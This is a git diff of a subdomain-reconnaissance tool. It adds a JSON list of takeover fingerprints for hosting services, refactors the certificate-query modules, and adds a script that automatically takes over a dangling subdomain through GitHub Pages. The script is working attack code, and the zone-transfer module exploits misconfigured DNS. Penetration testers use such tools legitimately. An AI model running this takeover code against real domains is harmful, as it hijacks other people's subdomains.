||||||
'<cyan>{process.name}</cyan>:<cyan>{thread.name: <10}</cyan> | ' \
|
'<cyan>{process.name}({process.id})</cyan>:' \
|
||||||
|
'<cyan>{thread.name: <10}({thread.id: <5})</cyan> | ' \
|
||||||
'<blue>{module}</blue>.<blue>{function}</blue>:' \
|
'<blue>{module}</blue>.<blue>{function}</blue>:' \
|
||||||
'<blue>{line}</blue> - <level>{message}</level>'
|
'<blue>{line}</blue> - <level>{message}</level>'
|
||||||
|
|
||||||
@@ -198,5 +218,5 @@ if not os.environ.get('PYTHONIOENCODING'): # 设置编码
|
|||||||
os.environ['PYTHONIOENCODING'] = 'utf-8'
|
os.environ['PYTHONIOENCODING'] = 'utf-8'
|
||||||
|
|
||||||
logger.add(sys.stderr, level='INFOR', format=stdout_fmt, enqueue=True)
|
logger.add(sys.stderr, level='INFOR', format=stdout_fmt, enqueue=True)
|
||||||
logger.add(log_path, level='TRACE', format=logfile_fmt, enqueue=True,
|
logger.add(log_path, level='DEBUG', format=logfile_fmt, enqueue=True,
|
||||||
encoding='utf-8')
|
encoding='utf-8')
|
||||||
|
|||||||
@@ -0,0 +1,249 @@
|
|||||||
|
[
|
||||||
|
{
|
||||||
|
"name":"github",
|
||||||
|
"cname":["github.io", "github.map.fastly.net"],
|
||||||
|
"response":["There isn't a GitHub Pages site here.", "For root URLs (like http://example.com/) you must provide an index.html file"]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"heroku",
|
||||||
|
"cname":["herokudns.com", "herokussl.com", "herokuapp.com"],
|
||||||
|
"response":["There's nothing here, yet.", "herokucdn.com/error-pages/no-such-app.html", "<title>No such app</title>"]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"unbounce",
|
||||||
|
"cname":["unbouncepages.com"],
|
||||||
|
"response":["Sorry, the page you were looking for doesn’t exist.", "The requested URL was not found on this server"]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"tumblr",
|
||||||
|
"cname":["tumblr.com"],
|
||||||
|
"response":["There's nothing here.", "Whatever you were looking for doesn't currently exist at this address."]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"shopify",
|
||||||
|
"cname":["myshopify.com"],
|
||||||
|
"response":["Sorry, this shop is currently unavailable.", "Only one step left!"]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"instapage",
|
||||||
|
"cname":["pageserve.co", "secure.pageserve.co", "https://instapage.com/"],
|
||||||
|
"response":["Looks Like You're Lost","The page you're looking for is no longer available."]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"desk",
|
||||||
|
"cname":["desk.com"],
|
||||||
|
"response":["Please try again or try Desk.com free for 14 days.", "Sorry, We Couldn't Find That Page"]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"campaignmonitor",
|
||||||
|
"cname":["createsend.com", "name.createsend.com"],
|
||||||
|
"response":["Double check the URL", "<strong>Trying to access your account?</strong>"]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"cargocollective",
|
||||||
|
"cname":["cargocollective.com"],
|
||||||
|
"response":["404 Not Found"]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"statuspage",
|
||||||
|
"cname":["statuspage.io"],
|
||||||
|
"response":["Better Status Communication", "You are being <a href=\"https://www.statuspage.io\">redirected"]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"amazonaws",
|
||||||
|
"cname":["amazonaws.com"],
|
||||||
|
"response":["NoSuchBucket", "The specified bucket does not exist"]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"bitbucket",
|
||||||
|
"cname":["bitbucket.org"],
|
||||||
|
"response":["The page you have requested does not exist","Repository not found"]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"smartling",
|
||||||
|
"cname":["smartling.com"],
|
||||||
|
"response":["Domain is not configured"]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"acquia",
|
||||||
|
"cname":["acquia.com"],
|
||||||
|
"response":["If you are an Acquia Cloud customer and expect to see your site at this address","The site you are looking for could not be found."]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"fastly",
|
||||||
|
"cname":["fastly.net"],
|
||||||
|
"response":["Please check that this domain has been added to a service", "Fastly error: unknown domain"]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"pantheon",
|
||||||
|
"cname":["pantheonsite.io"],
|
||||||
|
"response":["The gods are wise", "The gods are wise, but do not know of the site which you seek."]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"zendesk",
|
||||||
|
"cname":["zendesk.com"],
|
||||||
|
"response":["Help Center Closed"]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"uservoice",
|
||||||
|
"cname":["uservoice.com"],
|
||||||
|
"response":["This UserVoice subdomain is currently available!"]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"ghost",
|
||||||
|
"cname":["ghost.io"],
|
||||||
|
"response":["The thing you were looking for is no longer here", "The thing you were looking for is no longer here, or never was"]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"pingdom",
|
||||||
|
"cname":["stats.pingdom.com"],
|
||||||
|
"response":["pingdom"]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"tilda",
|
||||||
|
"cname":["tilda.ws"],
|
||||||
|
"response":["Domain has been assigned"]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"wordpress",
|
||||||
|
"cname":["wordpress.com"],
|
||||||
|
"response":["Do you want to register"]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"teamwork",
|
||||||
|
"cname":["teamwork.com"],
|
||||||
|
"response":["Oops - We didn't find your site."]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"helpjuice",
|
||||||
|
"cname":["helpjuice.com"],
|
||||||
|
"response":["We could not find what you're looking for."]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"helpscout",
|
||||||
|
"cname":["helpscoutdocs.com"],
|
||||||
|
"response":["No settings were found for this company:"]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"cargo",
|
||||||
|
"cname":["cargocollective.com"],
|
||||||
|
"response":["If you're moving your domain away from Cargo you must make this configuration through your registrar's DNS control panel."]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"feedpress",
|
||||||
|
"cname":["redirect.feedpress.me"],
|
||||||
|
"response":["The feed has not been found."]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"surge",
|
||||||
|
"cname":["surge.sh"],
|
||||||
|
"response":["project not found"]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"surveygizmo",
|
||||||
|
"cname":["privatedomain.sgizmo.com", "privatedomain.surveygizmo.eu", "privatedomain.sgizmoca.com"],
|
||||||
|
"response":["data-html-name"]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"mashery",
|
||||||
|
"cname":["mashery.com"],
|
||||||
|
"response":["Unrecognized domain <strong>"]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"intercom",
|
||||||
|
"cname":["custom.intercom.help"],
|
||||||
|
"response":["This page is reserved for artistic dogs.","<h1 class=\"headline\">Uh oh. That page doesn’t exist.</h1>"]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"webflow",
|
||||||
|
"cname":["proxy.webflow.io"],
|
||||||
|
"response":["<p class=\"description\">The page you are looking for doesn't exist or has been moved.</p>"]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"kajabi",
|
||||||
|
"cname":["endpoint.mykajabi.com"],
|
||||||
|
"response":["<h1>The page you were looking for doesn't exist.</h1>"]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"thinkific",
|
||||||
|
"cname":["thinkific.com"],
|
||||||
|
"response":["You may have mistyped the address or the page may have moved."]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"tave",
|
||||||
|
"cname":["clientaccess.tave.com"],
|
||||||
|
"response":["<h1>Error 404: Page Not Found</h1>"]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"wishpond",
|
||||||
|
"cname":["wishpond.com"],
|
||||||
|
"response":["https://www.wishpond.com/404?campaign=true"]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"aftership",
|
||||||
|
"cname":["aftership.com"],
|
||||||
|
"response":["Oops.</h2><p class=\"text-muted text-tight\">The page you're looking for doesn't exist."]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"aha",
|
||||||
|
"cname":["ideas.aha.io"],
|
||||||
|
"response":["There is no portal here ... sending you back to Aha!"]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"brightcove",
|
||||||
|
"cname":["brightcovegallery.com", "gallery.video", "bcvp0rtal.com"],
|
||||||
|
"response":["<p class=\"bc-gallery-error-code\">Error Code: 404</p>"]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"bigcartel",
|
||||||
|
"cname":["bigcartel.com"],
|
||||||
|
"response":["<h1>Oops! We couldn’t find that page.</h1>"]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"activecompaign",
|
||||||
|
"cname":["activehosted.com"],
|
||||||
|
"response":["alt=\"LIGHTTPD - fly light.\""]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"compaignmonitor",
|
||||||
|
"cname":["createsend.com"],
|
||||||
|
"response":["Double check the URL or <a href=\"mailto:help@createsend.com"]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"simplebooklet",
|
||||||
|
"cname":["simplebooklet.com"],
|
||||||
|
"response":["We can't find this <a href=\"https://simplebooklet.com"]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"getresponse",
|
||||||
|
"cname":[".gr8.com"],
|
||||||
|
"response":["With GetResponse Landing Pages, lead generation has never been easier"]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"vend",
|
||||||
|
"cname":["vendecommerce.com"],
|
||||||
|
"response":["Looks like you've traveled too far into cyberspace."]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"jetbrains",
|
||||||
|
"cname":["myjetbrains.com"],
|
||||||
|
"response":["is not a registered InCloud YouTrack.","is not a registered InCloud YouTrack."]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"azure",
|
||||||
|
"cname":["azurewebsites.net",
|
||||||
|
".cloudapp.net",
|
||||||
|
".cloudapp.azure.com",
|
||||||
|
".trafficmanager.net",
|
||||||
|
".blob.core.windows.net",
|
||||||
|
".azure-api.net",
|
||||||
|
".azurehdinsight.net",
|
||||||
|
".azureedge.net"],
|
||||||
|
"response":["404 Web Site not found"]
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name":"readme",
|
||||||
|
"cname":["readme.io"],
|
||||||
|
"response":["Project doesnt exist... yet!"]
|
||||||
|
}
|
||||||
|
]
|
||||||
+22
-27
@@ -9,31 +9,33 @@ OneForAll数据库导出模块
|
|||||||
"""
|
"""
|
||||||
|
|
||||||
import fire
|
import fire
|
||||||
|
from common import utils
|
||||||
from common.database import Database
|
from common.database import Database
|
||||||
from config import logger
|
|
||||||
|
|
||||||
|
|
||||||
def export(table, db=None, valid=None, path=None, format='xlsx', output=False):
|
def export(table, db=None, valid=None, dpath=None, format='csv', show=False):
|
||||||
"""
|
"""
|
||||||
OneForAll数据库导出模块
|
OneForAll数据库导出模块
|
||||||
|
|
||||||
Example:
|
Example:
|
||||||
python dbexport.py --table name --format csv --path= ./result.csv
|
python3 dbexport.py --table name --format csv --dir= ./result.csv
|
||||||
python dbexport.py --db result.db --table name --output False
|
python3 dbexport.py --db result.db --table name --show False
|
||||||
|
|
||||||
Note:
|
Note:
|
||||||
参数valid可选值1,0,None,分别表示导出有效,无效,全部子域
|
参数port可选值有'small', 'medium', 'large', 'xlarge',详见config.py配置
|
||||||
参数format可选格式:'csv', 'tsv', 'json', 'yaml', 'html', 'xls', 'xlsx',
|
参数format可选格式有'txt', 'rst', 'csv', 'tsv', 'json', 'yaml', 'html',
|
||||||
'dbf', 'latex', 'ods'
|
'jira', 'xls', 'xlsx', 'dbf', 'latex', 'ods'
|
||||||
参数path为None会根据format参数和域名名称在项目结果目录生成相应文件
|
参数dpath为None默认使用OneForAll结果目录
|
||||||
|
|
||||||
:param str table: 要导出的表
|
:param str table: 要导出的表
|
||||||
:param str db: 要导出的数据库路径(默认为results/result.sqlite3)
|
:param str db: 要导出的数据库路径(默认为results/result.sqlite3)
|
||||||
:param int valid: 导出子域的有效性(默认None)
|
:param int valid: 导出子域的有效性(默认None)
|
||||||
:param str format: 导出格式(默认xlsx)
|
:param str format: 导出格式(默认xls)
|
||||||
:param str path: 导出路径(默认None)
|
:param str dpath: 导出目录(默认None)
|
||||||
:param bool output: 是否将导出数据输出到终端(默认False)
|
:param bool show: 终端显示导出数据(默认False)
|
||||||
"""
|
"""
|
||||||
|
format = utils.check_format(format)
|
||||||
|
dpath = utils.check_dpath(dpath)
|
||||||
database = Database(db)
|
database = Database(db)
|
||||||
if valid is None:
|
if valid is None:
|
||||||
rows = database.get_data(table)
|
rows = database.get_data(table)
|
||||||
@@ -41,24 +43,17 @@ def export(table, db=None, valid=None, path=None, format='xlsx', output=False):
|
|||||||
rows = database.get_subdomain(table, valid)
|
rows = database.get_subdomain(table, valid)
|
||||||
else:
|
else:
|
||||||
rows = database.get_data(table) # 意外情况导出全部子域
|
rows = database.get_data(table) # 意外情况导出全部子域
|
||||||
if output:
|
if show:
|
||||||
print(rows.dataset)
|
print(rows.dataset)
|
||||||
if not path:
|
if format == 'txt':
|
||||||
path = 'export.' + format
|
data = str(rows.dataset)
|
||||||
logger.log('INFOR', f'正在将数据库中{table}表导出')
|
else:
|
||||||
try:
|
data = rows.export(format)
|
||||||
with open(path, 'w') as file:
|
database.close()
|
||||||
file.write(rows.export(format))
|
fpath = dpath.joinpath(f'{table}.{format}')
|
||||||
logger.log('INFOR', '成功完成导出')
|
utils.save_data(fpath, data)
|
||||||
logger.log('INFOR', path)
|
|
||||||
except TypeError:
|
|
||||||
with open(path, 'wb') as file:
|
|
||||||
file.write(rows.export(format))
|
|
||||||
logger.log('INFOR', '成功完成导出')
|
|
||||||
logger.log('INFOR', path)
|
|
||||||
except Exception as e:
|
|
||||||
logger.log('ERROR', e)
|
|
||||||
|
|
||||||
|
|
||||||
if __name__ == '__main__':
|
if __name__ == '__main__':
|
||||||
fire.Fire(export)
|
fire.Fire(export)
|
||||||
|
# save('example_com_last', format='txt')
|
||||||
|
|||||||
@@ -1 +1,2 @@
|
|||||||
example.com
|
example.com
|
||||||
|
hackfun.org
|
||||||
|
|||||||
@@ -0,0 +1,102 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
# coding=utf-8
|
||||||
|
|
||||||
|
"""
|
||||||
|
github自动接管
|
||||||
|
"""
|
||||||
|
|
||||||
|
import json
|
||||||
|
import base64
|
||||||
|
import requests
|
||||||
|
import config
|
||||||
|
|
||||||
|
HEADERS = {
|
||||||
|
"Accept": "application/json, text/javascript, */*; q=0.01",
|
||||||
|
"Accept-Language": "zh-CN,zh;q=0.9",
|
||||||
|
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36",
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def github_takeover(url):
|
||||||
|
# 读取config配置文件
|
||||||
|
repo_name = url
|
||||||
|
print('[*]正在读取配置文件...')
|
||||||
|
user = config.github_api_user
|
||||||
|
token = config.github_api_token
|
||||||
|
CHECK_HEADERS = {
|
||||||
|
"Authorization": 'token ' + token,
|
||||||
|
"Accept": "application/vnd.github.switcheroo-preview+json"
|
||||||
|
}
|
||||||
|
repos_url = 'https://api.github.com/repos/' + user + '/' + repo_name
|
||||||
|
repos_r = requests.get(url=repos_url, headers=CHECK_HEADERS)
|
||||||
|
# 验证token是否正确
|
||||||
|
if 'message' in repos_r.json():
|
||||||
|
if repos_r.json()['message'] == 'Bad credentials':
|
||||||
|
print('[*]请检查Token是否正确')
|
||||||
|
elif repos_r.json()['message'] == 'Not Found':
|
||||||
|
print('[*]正在生成接管库...') # 生成接管库
|
||||||
|
creat_repo_dict = {
|
||||||
|
"name": repo_name,
|
||||||
|
"description": "This is a subdomain takeover Repository",
|
||||||
|
}
|
||||||
|
creat_repo_url = 'https://api.github.com/user/repos'
|
||||||
|
creat_repo_r = requests.post(url=creat_repo_url,
|
||||||
|
headers=CHECK_HEADERS,
|
||||||
|
data=json.dumps(creat_repo_dict))
|
||||||
|
creat_repo_status = creat_repo_r.status_code
|
||||||
|
if creat_repo_status == 201:
|
||||||
|
print('[*]创建接管库' + repo_name + '成功,正在进行自动接管...')
|
||||||
|
# 接管文件生成
|
||||||
|
# index.html文件
|
||||||
|
html = b'''
|
||||||
|
<html>
|
||||||
|
<p>Subdomain Takerover Test!</>
|
||||||
|
</html>
|
||||||
|
'''
|
||||||
|
html64 = base64.b64encode(html).decode('utf-8')
|
||||||
|
html_dict = {
|
||||||
|
"message": "my commit message",
|
||||||
|
"committer": {
|
||||||
|
"name": "user", # 提交id,非必改项
|
||||||
|
"email": "user@163.com" # 同上
|
||||||
|
},
|
||||||
|
"content": html64
|
||||||
|
}
|
||||||
|
# CNAME文件
|
||||||
|
cname_url = bytes(url, encoding='utf-8')
|
||||||
|
cname_url64 = base64.b64encode(cname_url).decode('utf-8')
|
||||||
|
url_dict = {
|
||||||
|
"message": "my commit message",
|
||||||
|
"committer": {
|
||||||
|
"name": "user",
|
||||||
|
"email": "user@163.com"
|
||||||
|
},
|
||||||
|
"content": cname_url64
|
||||||
|
}
|
||||||
|
html_url = 'https://api.github.com/repos/' + user + '/' + repo_name + '/contents/index.html'
|
||||||
|
url_url = 'https://api.github.com/repos/' + user + '/' + repo_name + '/contents/CNAME'
|
||||||
|
html_r = requests.put(url=html_url, data=json.dumps(html_dict),
|
||||||
|
headers=CHECK_HEADERS) # 上传index.html
|
||||||
|
cname_r = requests.put(url=url_url, data=json.dumps(url_dict),
|
||||||
|
headers=CHECK_HEADERS) # 上传CNAME
|
||||||
|
rs = cname_r.status_code
|
||||||
|
if rs == 201:
|
||||||
|
print('[*]生成接管库成功,正在开启Github pages...')
|
||||||
|
page_url = "https://api.github.com/repos/" + user + "/" + url + "/pages"
|
||||||
|
page_dict = {
|
||||||
|
"source": {
|
||||||
|
"branch": "master"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
page_r = requests.post(url=page_url,
|
||||||
|
data=json.dumps(page_dict),
|
||||||
|
headers=CHECK_HEADERS) # 开启page
|
||||||
|
if page_r.status_code == 201:
|
||||||
|
print('[+]自动接管成功,请稍后访问http://' + str(url) + '查看结果')
|
||||||
|
else:
|
||||||
|
print('[+]开启Github pages失败,请检查网络或稍后重试...')
|
||||||
|
else:
|
||||||
|
print('[+]生成接管库失败,请检查网络或稍后重试...')
|
||||||
|
elif url in repos_r.json()['name']:
|
||||||
|
print('[*]生成接管库失败,请检查https://github.com/' + user +
|
||||||
|
'?tab=repositories是否存在同名接管库...')
|
||||||
@@ -22,29 +22,29 @@ class CensysAPI(Query):
|
|||||||
self.header = self.get_header()
|
self.header = self.get_header()
|
||||||
self.proxy = self.get_proxy(self.source)
|
self.proxy = self.get_proxy(self.source)
|
||||||
data = {
|
data = {
|
||||||
'query': 'parsed.names: example.com',
|
'query': f'parsed.names: {self.domain}',
|
||||||
'page': 1,
|
'page': 1,
|
||||||
'fields': ['parsed.subject_dn'],
|
'fields': ['parsed.subject_dn'],
|
||||||
'flatten': True}
|
'flatten': True}
|
||||||
resp = self.post(self.addr, json=data, auth=(self.id, self.secret))
|
resp = self.post(self.addr, json=data, auth=(self.id, self.secret))
|
||||||
if not resp:
|
if not resp:
|
||||||
return
|
return
|
||||||
resp_json = resp.json()
|
data = resp.json()
|
||||||
status = resp_json.get('status')
|
status = data.get('status')
|
||||||
if status != 'ok':
|
if status != 'ok':
|
||||||
logger.log('ALERT', status)
|
logger.log('ALERT', status)
|
||||||
return
|
return
|
||||||
subdomains_find = self.match(self.domain, str(resp_json))
|
subdomains = self.match(self.domain, str(data))
|
||||||
self.subdomains = self.subdomains.union(subdomains_find)
|
self.subdomains = self.subdomains.union(subdomains)
|
||||||
pages = resp_json.get('metadata').get('pages')
|
pages = data.get('metadata').get('pages')
|
||||||
for page in range(2, pages + 1):
|
for page in range(2, pages + 1):
|
||||||
time.sleep(self.delay)
|
time.sleep(self.delay)
|
||||||
data['page'] = page
|
data['page'] = page
|
||||||
resp = self.post(self.addr, json=data, auth=(self.id, self.secret))
|
resp = self.post(self.addr, json=data, auth=(self.id, self.secret))
|
||||||
if not resp:
|
if not resp:
|
||||||
return
|
return
|
||||||
subdomains_find = self.match(self.domain, str(resp.json()))
|
subdomains = self.match(self.domain, str(resp.json()))
|
||||||
self.subdomains = self.subdomains.union(subdomains_find)
|
self.subdomains = self.subdomains.union(subdomains)
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
"""
|
"""
|
||||||
|
|||||||
@@ -29,9 +29,11 @@ class CertDBAPI(Query):
|
|||||||
if not resp:
|
if not resp:
|
||||||
return
|
return
|
||||||
json = resp.json()
|
json = resp.json()
|
||||||
subdomains_find = utils.match_subdomain(self.domain, str(json))
|
subdomains = utils.match_subdomain(self.domain, str(json))
|
||||||
|
if not subdomains: # 搜索没有发现子域名则停止搜索
|
||||||
|
break
|
||||||
# 合并搜索子域名搜索结果
|
# 合并搜索子域名搜索结果
|
||||||
self.subdomains = self.subdomains.union(subdomains_find)
|
self.subdomains = self.subdomains.union(subdomains)
|
||||||
page_num += 1
|
page_num += 1
|
||||||
# 默认每次查询最多返回30条 当前条数小于30条说明已经查完
|
# 默认每次查询最多返回30条 当前条数小于30条说明已经查完
|
||||||
if json.get('count') < 30:
|
if json.get('count') < 30:
|
||||||
|
|||||||
@@ -18,14 +18,15 @@ class CertSpotter(Query):
|
|||||||
time.sleep(self.delay)
|
time.sleep(self.delay)
|
||||||
self.header = self.get_header()
|
self.header = self.get_header()
|
||||||
self.proxy = self.get_proxy(self.source)
|
self.proxy = self.get_proxy(self.source)
|
||||||
params = {'domain': self.domain, 'include_subdomains': 'true',
|
params = {'domain': self.domain,
|
||||||
|
'include_subdomains': 'true',
|
||||||
'expand': 'dns_names'}
|
'expand': 'dns_names'}
|
||||||
resp = self.get(self.addr, params)
|
resp = self.get(self.addr, params)
|
||||||
if not resp:
|
if not resp:
|
||||||
return
|
return
|
||||||
subdomains_find = utils.match_subdomain(self.domain, str(resp.json()))
|
subdomains = utils.match_subdomain(self.domain, str(resp.json()))
|
||||||
# 合并搜索子域名搜索结果
|
# 合并搜索子域名搜索结果
|
||||||
self.subdomains = self.subdomains.union(subdomains_find)
|
self.subdomains = self.subdomains.union(subdomains)
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
"""
|
"""
|
||||||
|
|||||||
@@ -22,8 +22,8 @@ class Crtsh(Query):
|
|||||||
resp = self.get(self.addr, params)
|
resp = self.get(self.addr, params)
|
||||||
if not resp:
|
if not resp:
|
||||||
return
|
return
|
||||||
subdomains_find = utils.match_subdomain(self.domain, str(resp.json()))
|
subdomains = utils.match_subdomain(self.domain, str(resp.json()))
|
||||||
self.subdomains = self.subdomains.union(subdomains_find)
|
self.subdomains = self.subdomains.union(subdomains)
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
"""
|
"""
|
||||||
|
|||||||
@@ -18,13 +18,14 @@ class Entrust(Query):
|
|||||||
time.sleep(self.delay)
|
time.sleep(self.delay)
|
||||||
self.header = self.get_header()
|
self.header = self.get_header()
|
||||||
self.proxy = self.get_proxy(self.source)
|
self.proxy = self.get_proxy(self.source)
|
||||||
params = {'fields': 'subjectDN', 'domain': self.domain,
|
params = {'fields': 'subjectDN',
|
||||||
|
'domain': self.domain,
|
||||||
'includeExpired': 'true'}
|
'includeExpired': 'true'}
|
||||||
resp = self.get(self.addr, params)
|
resp = self.get(self.addr, params)
|
||||||
if not resp:
|
if not resp:
|
||||||
return
|
return
|
||||||
subdomains_find = utils.match_subdomain(self.domain, str(resp.json()))
|
subdomains = utils.match_subdomain(self.domain, str(resp.json()))
|
||||||
self.subdomains = self.subdomains.union(subdomains_find)
|
self.subdomains = self.subdomains.union(subdomains)
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
"""
|
"""
|
||||||
|
|||||||
@@ -19,14 +19,15 @@ class Google(Query):
|
|||||||
time.sleep(self.delay)
|
time.sleep(self.delay)
|
||||||
self.header = self.get_header()
|
self.header = self.get_header()
|
||||||
self.proxy = self.get_proxy(self.source)
|
self.proxy = self.get_proxy(self.source)
|
||||||
params = {'include_expired': 'true', 'include_subdomains': 'true',
|
params = {'include_expired': 'true',
|
||||||
|
'include_subdomains': 'true',
|
||||||
'domain': self.domain}
|
'domain': self.domain}
|
||||||
resp = self.get(self.addr, params)
|
resp = self.get(self.addr, params)
|
||||||
if not resp:
|
if not resp:
|
||||||
return
|
return
|
||||||
subdomains_find = utils.match_subdomain(self.domain, resp.text)
|
subdomains = utils.match_subdomain(self.domain, resp.text)
|
||||||
# 合并搜索子域名搜索结果
|
# 合并搜索子域名搜索结果
|
||||||
self.subdomains = self.subdomains.union(subdomains_find)
|
self.subdomains = self.subdomains.union(subdomains)
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
"""
|
"""
|
||||||
|
|||||||
@@ -1,11 +1,11 @@
|
|||||||
"""
|
"""
|
||||||
查询域名的NS记录(域名服务器记录,记录该域名由哪台域名服务器解析),检查查出的域名服务器是否开启
|
查询域名的NS记录(域名服务器记录,记录该域名由哪台域名服务器解析),检查查出的域名服务器是
|
||||||
DNS域传送,如果开启且没做访问控制和身份验证便加以利用获取域名的所有记录
|
否开启DNS域传送,如果开启且没做访问控制和身份验证便加以利用获取域名的所有记录。
|
||||||
|
|
||||||
DNS域传送(DNS zone transfer)指的是一台备用域名服务器使用来自主域名服务器的数据刷新自己的域
|
DNS域传送(DNS zone transfer)指的是一台备用域名服务器使用来自主域名服务器的数据刷新自己
|
||||||
数据库,目的是为了做冗余备份,防止主域名服务器出现故障时 dns 解析不可用。
|
的域数据库,目的是为了做冗余备份,防止主域名服务器出现故障时 dns 解析不可用。
|
||||||
当主服务器开启DNS域传送同时又对来请求的备用服务器未作访问控制和身份验证便可以利用此漏洞获取某个
|
当主服务器开启DNS域传送同时又对来请求的备用服务器未作访问控制和身份验证便可以利用此漏洞获
|
||||||
域的所有记录。
|
取某个域的所有记录。
|
||||||
"""
|
"""
|
||||||
import dns.resolver
|
import dns.resolver
|
||||||
import dns.zone
|
import dns.zone
|
||||||
|
|||||||
@@ -10,7 +10,6 @@ class CheckCDX(Module):
|
|||||||
"""
|
"""
|
||||||
检查crossdomain.xml文件收集子域名
|
检查crossdomain.xml文件收集子域名
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def __init__(self, domain: str):
|
def __init__(self, domain: str):
|
||||||
Module.__init__(self)
|
Module.__init__(self)
|
||||||
self.domain = self.register(domain)
|
self.domain = self.register(domain)
|
||||||
|
|||||||
@@ -31,8 +31,8 @@ class CheckCert(Module):
|
|||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.log('ERROR', e)
|
logger.log('ERROR', e)
|
||||||
return
|
return
|
||||||
subdomains_find = utils.match_subdomain(self.domain, str(cert_dict))
|
subdomains = utils.match_subdomain(self.domain, str(cert_dict))
|
||||||
self.subdomains = self.subdomains.union(subdomains_find)
|
self.subdomains = self.subdomains.union(subdomains)
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
"""
|
"""
|
||||||
|
|||||||
@@ -25,8 +25,10 @@ class CheckCSP(Module):
|
|||||||
正则匹配响应头中的内容安全策略字段以发现子域名
|
正则匹配响应头中的内容安全策略字段以发现子域名
|
||||||
"""
|
"""
|
||||||
if not self.header:
|
if not self.header:
|
||||||
urls = [f'http://{self.domain}', f'https://{self.domain}',
|
urls = [f'http://{self.domain}',
|
||||||
f'http://www.{self.domain}', f'https://www.{self.domain}']
|
f'https://{self.domain}',
|
||||||
|
f'http://www.{self.domain}',
|
||||||
|
f'https://www.{self.domain}']
|
||||||
response = None
|
response = None
|
||||||
for url in urls:
|
for url in urls:
|
||||||
self.header = self.get_header()
|
self.header = self.get_header()
|
||||||
|
|||||||
@@ -26,10 +26,10 @@ class ArchiveCrawl(Crawl):
|
|||||||
for resp in cdx.iter(url, limit=limit):
|
for resp in cdx.iter(url, limit=limit):
|
||||||
if resp.data.get('status') not in ['301', '302']:
|
if resp.data.get('status') not in ['301', '302']:
|
||||||
url = resp.data.get('url')
|
url = resp.data.get('url')
|
||||||
subdomains_find = self.match(self.register(domain),
|
subdomains = self.match(self.register(domain),
|
||||||
url + resp.text)
|
url + resp.text)
|
||||||
# 合并搜索子域名搜索结果
|
# 合并搜索子域名搜索结果
|
||||||
self.subdomains = self.subdomains.union(subdomains_find)
|
self.subdomains = self.subdomains.union(subdomains)
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
"""
|
"""
|
||||||
|
|||||||
@@ -27,9 +27,9 @@ class CommonCrawl(Crawl):
|
|||||||
|
|
||||||
for resp in tqdm(cdx.iter(url, limit=limit), total=limit):
|
for resp in tqdm(cdx.iter(url, limit=limit), total=limit):
|
||||||
if resp.data.get('status') not in ['301', '302']:
|
if resp.data.get('status') not in ['301', '302']:
|
||||||
subdomains_find = self.match(self.register(domain), resp.text)
|
subdomains = self.match(self.register(domain), resp.text)
|
||||||
# 合并搜索子域名搜索结果
|
# 合并搜索子域名搜索结果
|
||||||
self.subdomains = self.subdomains.union(subdomains_find)
|
